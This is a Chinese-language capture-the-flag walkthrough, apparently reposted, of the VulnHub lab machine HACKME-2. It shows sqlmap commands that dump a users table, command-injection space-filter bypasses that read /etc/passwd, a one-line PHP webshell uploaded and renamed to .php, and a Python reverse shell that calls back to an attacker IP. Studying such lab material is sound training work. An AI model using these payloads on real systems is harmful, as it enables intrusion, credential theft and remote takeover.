靶机渗透 HACKME-2 (详细渗透,适合新手渗透)
Posted 君莫hacker
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了靶机渗透 HACKME-2 (详细渗透,适合新手渗透)相关的知识,希望对你有一定的参考价值。
0x01靶机描述
靶机基本信息:
链接 | https://www.vulnhub.com/entry/hackme-2,618/ |
---|---|
作者 | x4bx54 |
发布日期 | 2020年12月6日 |
难度 | 中等 |
靶机基本介绍:
hackme2”是一个中等难度的关卡。这是hackme系列的第二部分,其中有更多的控件用于阻止恶意攻击。此外,你还必须跳出框框来利用这些漏洞。目标是通过web漏洞获得有限的权限访问,并随后以根用户身份升级权限。创建该实验室是为了模拟真实世界的web漏洞。
“hackme2”使用DHCP,并且在mysqld可能自行关闭的情况下(非常罕见的情况),尝试强制重新启动机器,然后机器应该可以正常工作。
0x02环境搭建
- 下载并导入靶机
打开vmware–文件–打开–hackme2-DHCP.ova
-
查看网络适配器
将靶机网络适配器改为NAT模式
-
启动靶机
点击 ▶靶机,开启成功
0x03靶机渗透
一、 信息收集
1. 主机发现
arp-scan -l
2. 端口扫描
masscan --rate=100000 -p 0-65535 192.168.30.207
3. 详细扫描
nmap -T4 -sV -O -p 22,80 192.168.30.207
4. gobuster进行目录扫描
gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.30.207 -t 30
5. 网站指纹识别
whatweb http://192.168.30.207
二、 漏洞挖掘
sql注入
1. 进入主页发现是登录页面,没有用户名及密码,但是页面有注册链接,进行注册用户
2.使用所注册的用户登陆成功
3. 利用sqlmap进行测试是否具有sql注入漏洞
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --level=3 --risk=3
可以看出该出存在sql注入漏洞
4. 查询当前数据库
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --dbs --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --dbs --tamper space2comment.py --level=5 --risk=3
5. 查询当前数据库
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --dbs --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --current-db --tamper space2comment.py --level=5 --risk=3
6. 查询当前数据中所有的表
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --dbs --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --tamper space2comment.py --level=5 --risk=3 -D webapphacking --tables
7. 查询users表中所有的列
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --dbs --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --tamper space2comment.py --level=5 --risk=3 -D webapphacking -T users --columns
8. 查询users表中的数据
sqlmap -u 'http://192.168.30.207/welcome.php' --data="search=OSINT" --dbs --cookie="PHPSESSID=boujv14h358os0cru6q5afevt9" --tamper space2comment.py --level=5 --risk=3 -D webapphacking -T users -C user,name,password --dump
然后我们对用户superadmin进行解密
2386acb2cf356944177746fc92523983 Uncrackable
文件上传漏洞
1. 我们对刚所得到的superadmin用户进行登录
在这里发现了文件上传点,也发现了一处查询用户状态入口
2. 经过验证,上传假图片头木马和图片马时,修改后缀均已失败告终,可以上传图片可以成功
虽然可以上传图片,但是uploads文件夹并不存在,而且我们还没有找到文件包含点,所以我们需要继续寻找其他漏洞,换种解题思路
命令注入漏洞
1. 手工测试
Last Name 输入框中可能存在命令执行漏洞
2. 进行验证
此处确实含有命令注入漏洞
但是在进一步的验证中发现命令执行却不起作用,所以在这里猜测可能是由于过滤空格导致的
#命令执行绕过空格的方法:
< --> 重定向,如cat<flag.php
<> --> 重定向,如cat<>flag.php
%09 --> 需要php环境,如cat%09flag.php
${IFS} --> 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
$IFS$9 --> 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
其中两种方法均可以成功绕过
system('cat${IFS}/etc/passwd')
system('cat$IFS$9/etc/passwd')
三、 漏洞利用
1. 可以进行执行命令,所以我们可以尝试查看各种有用文件
在查看的过程中我们发现,当前页面welcomeadmin.php源码泄露。我们进行查看,发现了图片上传后的路径,并且可以看出这里并且可以看到并没有过滤asp,aspx后缀文件
cat${IFS}welcomeadmin.php
文件上传路径:
/var/www/html/uploads/year2020/
即:http://192.168.30.207/uploads/year2020/
2. 上传一句话木马,蚁剑连接失败
这里我们可以进行上传asp与aspx木马文件,并用蚁剑进行连接,但是结果以失败告终
木马文件上传成功
3. 对上传的文件访问并用菜刀连接
连接失败
4. 换种思路 命令执行+文件上传
我们现在可以进行命令执行(执行命令反弹shell失败,可能是不存在这种反弹shell方法,或者是我执行有误,并没有执行成功),也知道了文件上传后的路径,我们可以利用命令执行漏洞修改上传到服务器的文件名,然后进行反弹shell
4.1 前面我们上传的phpinfo.jpg文件,我我们尝试修改后缀,并进行访问
system('mv${IFS}/var/www/html/uploads/year2020/phpinfo.jpg${IFS}/var/www/html/uploads/year2020/phpinfo.php')
4.2成功访问phpinfo页面
http://192.168.30.207/uploads/year2020/phpinfo.php
5. 反弹shell
5.1上传图片马sysexec.jpg
#图片马中的脚本:
<?php @system($_GET[cmd]);?>
5.2 利用命令注入漏洞进行修改后缀
system('mv${IFS}/var/www/html/uploads/year2020/sysexec3.jpg${IFS}/var/www/html/uploads/year2020/sysexec3.php')
5.3 借用hackbar工具访问url,反弹shell
这里给大家推荐一个在线生成反弹shell命令的网站
https://weibell.github.io/reverse-shell-generator/
192.168.30.207/uploads/year2020/sysexec3.php?cmd=export RHOST="192.168.30.182";
export RPORT=8888;
python -c 'import sys,socket,os,pty;
s=socket.socket();
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)];
pty.spawn("/bin/sh")'
成功反弹shell
四、 提权
1. 先用python打开一个标准的shell
python -c 'import pty;pty.spawn("/bin/bash")'
2. 我们筛选出可登录的用户
cat /etc/passwd | grep bash
3. 来到家目录下,发现有一个legacy目录(并不是用户)
4. 进入了legacy目录,发现可执行的二进制文件,执行,提权成功
0x04实验总结
这个靶机的难度适中,通过这个靶机的联系,感觉更可以增强自己对这些漏洞执行的连贯性,靶机主要考察了目录扫描,sql注入(这里要绕过空格过滤),文件上传与命令执行的结合,反弹shell及提权。该靶机可以串通各部分知识,值得一做
以上是关于靶机渗透 HACKME-2 (详细渗透,适合新手渗透)的主要内容,如果未能解决你的问题,请参考以下文章